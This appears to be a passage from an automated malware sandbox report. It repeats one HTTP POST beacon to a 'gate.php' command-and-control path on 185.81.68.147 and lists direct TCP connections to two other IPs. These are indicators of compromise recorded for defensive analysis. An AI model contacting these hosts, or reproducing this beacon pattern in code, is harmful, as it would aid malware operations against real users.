Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
